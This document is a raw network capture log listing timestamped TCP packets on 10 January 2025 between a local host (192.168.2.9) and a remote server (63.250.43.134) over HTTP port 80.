Jan 10, 2025 20:11:47.960905075 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.961663961 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.961674929 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.961687088 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.961736917 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.961756945 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.961769104 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.961781979 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.961791039 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.961812019 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.962606907 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.962618113 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.962630033 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.962641001 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.962672949 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.963428974 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.963439941 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.963450909 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.963491917 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.969734907 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.969747066 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.969753027 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.969803095 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.972220898 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.972233057 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.972243071 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.972290039 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.976078033 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.976090908 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.976103067 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.976130009 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.976160049 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.979840994 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.979852915 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.979863882 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.979896069 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.983751059 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.983813047 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.983895063 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.983906984 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.983917952 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.983967066 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.987730026 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.987742901 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.987756968 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.987770081 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.987801075 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.991668940 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.991691113 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.991719007 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.991739988 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.991780043 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.991806030 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.994309902 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.994332075 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.994386911 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.994396925 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.994415045 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.994431019 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.996834993 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.996848106 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.996860027 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.996905088 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.999258995 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.999270916 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.999283075 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:47.999310017 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:47.999345064 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.049089909 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049230099 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049242973 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049254894 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049269915 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049283028 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049283981 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.049293995 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049307108 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049319983 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.049319983 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.049366951 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.049634933 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049647093 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049673080 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049685001 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049709082 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049719095 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049731970 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049732924 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.049746037 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049757957 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049760103 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.049770117 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049779892 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.049783945 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049796104 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049809933 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049819946 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.049837112 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.049845934 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.049881935 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.050800085 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.050812006 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.050826073 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.050837994 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.050851107 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.050858974 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.050863981 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.050888062 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.050920010 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.051800966 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.051810980 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.051856995 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.051953077 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.051964998 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.051978111 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.051989079 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.051999092 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.052035093 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.057414055 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.057425022 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.057473898 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.057554960 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.057566881 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.057574034 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.057585001 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.057605028 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.057622910 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.061309099 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.061487913 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.061500072 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.061511993 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.061522961 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.061528921 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.061558008 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.065402031 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.065412998 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.065423965 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.065437078 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.065447092 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.065469027 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.065507889 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.065687895 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.065696955 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.066095114 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.069597960 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.069610119 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.069621086 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.069633007 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.069652081 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.069679976 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.069751978 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.069761992 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.069773912 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.069811106 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.069820881 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.069886923 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.079869032 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.080013037 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.080023050 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.080034971 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.080082893 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.080651999 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.080672979 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.080689907 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.080703974 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.080727100 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.080758095 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.080776930 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.080787897 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.080802917 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.080837011 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.080928087 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.080939054 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.080951929 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.080976009 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.081008911 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.082045078 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.082175970 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.082189083 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.082201958 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.082216978 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.082258940 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.082338095 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.082349062 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.082381010 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.098572969 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.098592043 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.098604918 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.098619938 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.098634005 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.098670959 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.098819971 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.098910093 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.100234985 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.100250959 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.100301981 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.100363970 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.100377083 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.100390911 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.100414038 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.100512028 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.100523949 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.100562096 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.104758024 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.104775906 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.104789972 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.104831934 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.104873896 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.104898930 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.104911089 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.104923964 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.104953051 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.156547070 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.185494900 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.185564041 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.185578108 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.185592890 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.185615063 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.185641050 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.185769081 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.185781956 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.185794115 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.185810089 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.185822964 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.185834885 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.185846090 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.185863972 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.185868979 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.185882092 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.185895920 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.185905933 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.185916901 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.185930967 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.186680079 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.186693907 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.186707973 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.186719894 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.186734915 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.186745882 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.186777115 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.186800003 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.186814070 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.186916113 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.187223911 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.187237978 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.187252045 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.187264919 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.187278986 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.187289000 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.187303066 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.187328100 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.187371016 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.187396049 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.187408924 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.187422037 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.187437057 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.187454939 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.187484026 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.188023090 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.188112974 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.188127995 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.188163996 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.188236952 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.188250065 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.188263893 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.188276052 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.188286066 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.188297033 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.188307047 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.188318014 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.188327074 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.188340902 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.188364983 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.188376904 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.189162970 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.189177990 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.189193010 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.189209938 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.189237118 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.189304113 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.189316988 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.189330101 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.189342976 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.189357996 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.189366102 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.189379930 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.189388990 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.189421892 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.190754890 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.190768003 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.190783024 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.190836906 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.190882921 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.190896988 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.190911055 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.190921068 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.190932989 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.190948009 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.190957069 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.190968990 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.190983057 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.190994978 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.191004038 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.191025019 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.191036940 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.191076040 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.195080042 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.195122957 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.195136070 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.195148945 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.195162058 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.195177078 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.195188046 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.195228100 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.195238113 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.195247889 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.195261955 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.195275068 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.195303917 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.195329905 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.195481062 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.195493937 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.195508957 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.195539951 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.195545912 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.195557117 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.195569992 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.201982021 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.201997042 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.202018023 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.202032089 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.202052116 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.202085018 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.202092886 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.202106953 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.202121019 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.202138901 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.202231884 CET	64527	80	192.168.2.9	63.250.43.134
Jan 10, 2025 20:11:48.213454008 CET	80	64527	63.250.43.134	192.168.2.9
Jan 10, 2025 20:11:48.213479042 CET	80	64527	63.250.43.134	192.168.2.9
